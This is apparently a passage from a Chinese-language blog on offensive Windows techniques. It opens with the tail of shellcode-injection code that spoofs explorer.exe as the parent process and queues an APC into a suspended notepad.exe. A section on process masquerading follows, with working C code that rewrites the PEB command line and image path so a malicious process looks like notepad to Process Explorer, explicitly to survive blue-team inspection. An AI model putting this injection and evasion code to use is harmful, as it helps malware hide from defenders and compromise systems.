SIZE_T sizeT; siex.StartupInfo.cb = sizeof (STARTUPINFOEXA); HANDLE expHandle = OpenProcess (PROCESS_ALL_ACCESS, false , FindExplorerPID ()); InitializeProcThreadAttributeList (NULL , 1 , 0 , &sizeT); siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc (GetProcessHeap (), 0 , sizeT); InitializeProcThreadAttributeList (siex.lpAttributeList, 1 , 0 , &sizeT); UpdateProcThreadAttribute (siex.lpAttributeList, 0 , PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof (HANDLE), NULL , NULL ); CreateProcessA ("C:\\Windows\\System32\\notepad.exe" , NULL , NULL , NULL , TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL , NULL , (LPSTARTUPINFOA)&siex, &piex); LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx (piex.hProcess, NULL , 0x1000 , MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory (piex.hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof (shellcode), NULL ); QueueUserAPC ((PAPCFUNC)lpBaseAddress, piex.hThread, NULL ); ResumeThread (piex.hThread); CloseHandle (piex.hThread); return 0 ; }
进程伪装 简单介绍 在蓝队排查恶意进程过程中,经常会使用processexplorer等进程检查工具进行详细的检测,而通常的恶意进程往往特征会比较明显,这种技术通过伪造PEB进程环境块来伪装自己,让自己的特征不那么明显,从而增加一点存活率。
代码实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include "Windows.h" #include "winternl.h" typedef NTSTATUS (*MYPROC) (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG) ;void main () { HANDLE h = GetCurrentProcess (); PROCESS_BASIC_INFORMATION ProcessInformation; ULONG len = 0 ; HINSTANCE ntdll; MYPROC GetProcessInformation; wchar_t commandline[] = L"C:\\windows\\system32\\notepad.exe" ; ntdll = LoadLibrary (TEXT ("Ntdll.dll" )); GetProcessInformation = (MYPROC)GetProcAddress (ntdll, "NtQueryInformationProcess" ); (GetProcessInformation)(h, ProcessBasicInformation, &ProcessInformation, sizeof (ProcessInformation), &len); ProcessInformation.PebBaseAddress->ProcessParameters->CommandLine.Buffer = commandline; ProcessInformation.PebBaseAddress->ProcessParameters->ImagePathName.Buffer = commandline; system ("pause" ); }
可以清楚的看到,这个对于process hacke这些工具无效,但是对于微软的进程查看工具procexp.exe有效
当然这也只是ring3层的伪装,在ETW上依然能看见。